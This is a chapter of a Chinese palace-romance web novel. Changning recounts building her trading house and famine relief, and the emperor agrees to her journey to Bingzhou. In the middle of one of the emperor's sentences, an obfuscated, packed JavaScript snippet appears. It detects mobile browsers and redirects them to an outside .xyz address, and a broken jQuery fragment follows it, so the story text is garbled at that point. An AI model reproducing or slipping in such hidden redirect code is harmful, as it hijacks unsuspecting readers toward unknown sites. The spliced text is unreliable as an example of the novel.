“殿下，我妹妹真在这儿？”
宫道上，微风轻拂，孟娴侧目，望向秾丽的公主。
公主身旁，除了举着仪仗开道的宫人和近身女使，还有一神清骨秀的玄衣男子。
李稚拿团扇在面前扑了扑，好笑道：“知道本宫要探望表姐，怎么一个两个都求到本宫面前来？”
孟娴默然，只是望着天际抿唇笑着。
张侍玉道：“我们商行里还有要务等着东家处理。”
李稚摆手，步子快了几分，“行了行了，你们俩，一个闷葫芦一个字也不说，一个口中没一句真言。等见了表姐，你们自己说去。”
说话间，就到了毓庆宫。毓庆宫极大，回廊环绕，亭台楼阁林立，处处都经过精心设计，若非有宫娥在前领路，几人只怕要在毓庆宫里迷了路。
常宁正在修剪花草，听到声音转头看来，顿时笑道：“怎么这么多人？我只是想叫清河过来问些事。都坐，不必拘礼。”
李稚紧挨着常宁落座，“什么事呀？”
常宁说：“你广募医女，可还缺银钱？我赠你些。”
“不怕我侵吞了去？”李稚抱着常宁胳膊笑道，“银钱自然没有嫌多的，但我们也还算应付得过来。孟姑娘可是捐了不少银子。”
常宁拱手道：“多谢姐姐相助。”
孟娴忙侧身回避，“该我谢你才是。”
她也是后来才知道，她手里的几间铺子，大多是常宁转赠的。常宁外祖家虽然殷实富有，但为防止子弟借收义子义女敛财，早就立下了规矩，族中不会给义亲拨款项。
多年经营，孟娴的绣坊每日能挣上不少银子，寻不到常宁踪迹，恰巧得知公主要招募医女，便聊以寄托。
李稚指一指张侍玉，笑道：“好了，让他来说。都说完了，我好和表姐玩。”
张侍玉道：“亏本了。”
莫说另外两人，就是常宁也没听懂，“哪个亏了？商队吗？”
“商队没亏，护送西番瓜亏了。”
这是早便知道的事，常宁笑笑：“你对我有意见？”
顶着三人的目光，张侍玉别过头去，“没有。只是你不在，大家伙没个主心骨。林老爷还说，东家是抛下了我们，往后不再打理余记了。”
“狗屁！”常宁一锤桌子，“他林长庚就那点家产都看得命根子一样，还敢撺掇着我犯糊涂！”
张侍玉抬眼问：“那你什么时候回去，东家？大家伙托我来问一句。”
若说三年前，张侍玉对常宁还存有绮思。但如今，这点执念早已放下，全心扑在余记和济幼堂上。
犹记年少时，他父母双双遇害，不得不一人一剑千里逃亡。那段日子，张侍玉对外都口称为仗剑壮游山河。内里的辛酸苦楚，不足为外人道也。后来跟着常宁一起忙前忙后地打理余记，兼之清楚常宁确实对他无意，心思就渐渐转到别处了。
常宁说：“我做不了主。这些日子，还要麻烦你代我多上些心。交给旁人，我不放心。我知道你对济幼堂更上心，但余记是根茎，济幼堂为枝叶，本固方能枝荣，才是长久之计。”
张侍玉道：“有你在，余记才是余记，济幼堂才是济幼堂。你若不回，不如早早散伙了去。你自去做你的皇后娘娘，我还带着人回千机阁去。”
“侍玉！”常宁打断他，“旁人不知，你还不知吗？”
张侍玉转头，“确然不知。”
一时惊呆了李稚和孟娴。二人忙一人拉一个，孟娴带着宫娥，半拖半请地领张侍玉去了茶室品茗。
李稚对这波偏架十分满意。这外面美景无边，风里都带着花果香，可不比那茶室好多了。见常宁皱着眉一副沉思模样，李稚遂挽着常宁往秋千架上去，抓着纤绳和常宁闲聊。
“表姐，我在京城也时常听说你们余记，没成想是你的。这才不到四年，竟就这般声势浩大了。怎么做到的？”
常宁笑笑，随意荡了两下，偏头神神秘秘回道：“唯素心耳。”
李稚抓心挠肺，“你怎么还糊弄我，我又不是小孩子了。”
常宁目中染上回忆，“要花很多心血。说来也是我时运不错。”
“昔年我想开书院，赔得血本无归，便将精力放在和西域通商上。我和侍玉找燕叔打探了消息，又找周盟主雇了些可靠的兄弟姐妹送镖，护送着商队来往，赚的银钱一部分扩大商队，一部分在并州当地做其他生意。如此往复，一年功夫，已是小有成就。”
“侍玉从千机阁来。千机阁还留下许多不习武的匠人，我就都接了来，每月开着工钱。当时陛下已经即位有些时日了，整顿吏治、严明法令、打击游侠，周盟主手下许多人失了生计，我便雇来做镖，几乎掏空了积蓄。当时林长庚见我面色都好了许多，许是笃定了我余记活不长久。”
“但我们还是撑下来了，生意做得比从前更甚，林长庚都险些压不住我们。可惜那年夏秋大旱，并州城内饥民无数，树皮都被扒了个干净，每日都有人隔着墙头在我窗外饿死。”
“我想着这样也不是个头，就把名下米坊谷坊一类的铺子和暂且运营不下去的铺子关停了，白日让百姓乘凉休憩，夜里用了米粮上山下水，或以木石造房，或从百里外引水入并州城。今岁已指望不上，只盼往后诸年，并州城不会再如此。”
李稚掩唇惊呼一声，“好险呐！”
她生来就是公主，享尽荣华富贵，但时常和英国公府来往，近些年也有自己经营庄子铺子，自然知道此举有多险。
便是一着不慎，赔上全副身家，也只是小事。
“还好，”常宁安抚道，“我变买了许多家产，还向官府和私家借贷。有天机阁的匠人在，测算河道、设计路线、改良工具，都如虎添翼。何况还有江晚照，他科考后适应不了官场，无意间与我相遇，我便也请来了，算是事半功倍。又有周盟主带着许多江湖人来镇场子，组织着流民不许作乱，这才让我做成了事。”
李稚睁眸听着，接道：“后面我就知道了。那条渠是乡民请表姐命名的，朝廷还颁了块‘义商’的匾额。再之后就有了济幼堂，一直到如今，余记之名如雷贯耳。”
常宁笑了，轻轻呼出一口长气，“这不是我一个人的功劳，也不是我一个人的余记，许多人都依靠它谋生。我不能，也不会放弃它。”
“只是时运不由人。我之挫败，就在于此。”
“但没关系，我想要什么，我自己会去取的。”
……
养心殿里，李稷已经静坐了许久，久到刘总管腿脚发麻。
就在刘总管适应了这寂静之后，李稷忽地问：“大伴，我该如何是好？”
刘总管眼眶一红。虽未明指，他还是能听出，这问的是常宁。
他已经很久没听过陛下这样叫他了。大伴，陛下幼时常这样唤他，总说若有什么想不明白的，便来问大伴，大伴总会知道的。
其实刘总管一个大字不识得几个的太监，又哪里知道多少呢？只是陛下无人亲近，也无人诉说罢了。
“陛下，奴才斗胆妄言，愿您勿怪。”
“说。”
“陛下，英国公府家教甚严，子孙大多品行端方，皇后娘娘亦是如此。听闻老英国公在世时，常指着娘娘说，娘娘有先祖遗风。何况娘娘进学时，样样出挑，几无短板，又每每多有义举，如长风之于大鹏、伯乐之于千里马。”
“你是说，我苛待了她？”李稷道，“我只是想和她在一起，想给她最好的一切，也想和她有个孩子。她却似乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196677|167231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并不喜爱我们的孩子。”
刘总管笑笑，“陛下，这些年跟着您四处来往，奴才肚子里虽没几滴墨水，但也记得几句。犹记《孟子》有云:老吾老以及人之老，幼吾幼以及人之幼。陛下是君父，娘娘是君后。一方长官尚且被尊称为父母官，何况是陛下娘娘？天下之孤，实赖陛下娘娘恤之，又怎能说娘娘不爱子？依奴才看，娘娘若有子，必爱之深远。”
李稷复问:“为何她依旧闷闷不乐？我待她不够好吗？权势富贵，凡她想要的，分明都有。”
刘总管默了一瞬，撩袍跪地，叩首道:“陛下，奴才问句僭越的话。以四海之大，权势之盛，无人能过于陛下。倘若有人教陛下自此不再宵衣旰食，安于富贵享乐，陛下又作何想？”
李稷道:“你下去。”独行至窗前，望着窗外出神。
……
入夜时，见了李稷过来，常宁很是惊讶，“您怎么来了？”
“四下走走。”
察觉他今夜心绪不佳，常宁好生费力逗了一会儿，“我准备回去并州走一趟，约摸个把月功夫。”
“何时去？”
“明日。”
“早去早回。”
没料到事情这么顺利，常宁忍不住笑起来，“多谢了。”
李稷忽觉这句谢刺耳，问道:“你去做什么？”
常宁怕他反悔，便原原本本地告知了，“处理些杂事。还有当地一家富户，相争多时，该回去做个了解。”
李稷道:“一个月够吗？”
常宁颇为惊奇，焉能不答，“略有些紧张，倒也还行。”
“那便多待些时日，妥善地处理了再回京。”常宁口中的富户，李稷也清楚是谁，只是常宁当他不知道。她不说出人的名姓，李稷亦知，这是不愿他插手打压旁人。
来时纷乱的心绪，在见到常宁这一刻，全都平静下来。
常宁捧着李稷脸颊来回看，伸手探了探人额头，“我觉得你今晚不太一样。”她又凑近了，和李稷脸对着脸，眼睛对着眼睛，轻声问:“是有烦心事吗？哪里不顺意？”
李稷胸中的苦涩，仿佛都随着常宁的的轻言慢语片片消解，紧搂着常宁，“只是舍不得你。”
常宁笑道:“你别担心嘛，我又不是不回来。”
李稷眸光一直落在常宁面上。
若常宁面前的不是他，而是旁人，她可还会这样笑？似乎是的。这笑，对他，对李稚，乃至对宫外那个剑客，都是一样的。甚至于面对他时，更多了些许小心。
可李稷既不愿做常宁的随波逐流，也不愿做常宁的随遇而安。他很贪心，他想要的，是他之于常宁，便如常宁之于他，一举一动都能牵动心魂。
“你自去做你的事，每两月回来一次就好。”
“我不拘着你。”李稷这声低低的，几不可闻。
常宁还是听到了，歪头仔细打量李稷，见他说这话时神情不似作假，道:“两个月不好。我一来一回，路上能耽搁许久，还不如你盼着我早些把生意做到京城来。”
李稷压低声，“不行。至多每三月往返一次。”
常宁笑道:“你怎么这么呆？我不找你，你不知道来找我吗？”
李稷欲反驳，待抬眼见了常宁唇边融融笑意，忽而又一个字都说不出口，只是又揽着常宁，细细拥吻起来。
他几乎不可自抑地去想往后。时而想常宁路上是否艰难，时而想常宁在并州是否顺利，时而又想常宁会遇到哪些人，是否又会移情别恋，不觉便眼眸湿润。
可望见常宁清透的桃花眸，李稷却又心中一定。常宁一诺，重于千金，她既默许了他，便不会再让旁人有机会走到他跟前来。
余生漫漫，总有一日，他会如愿。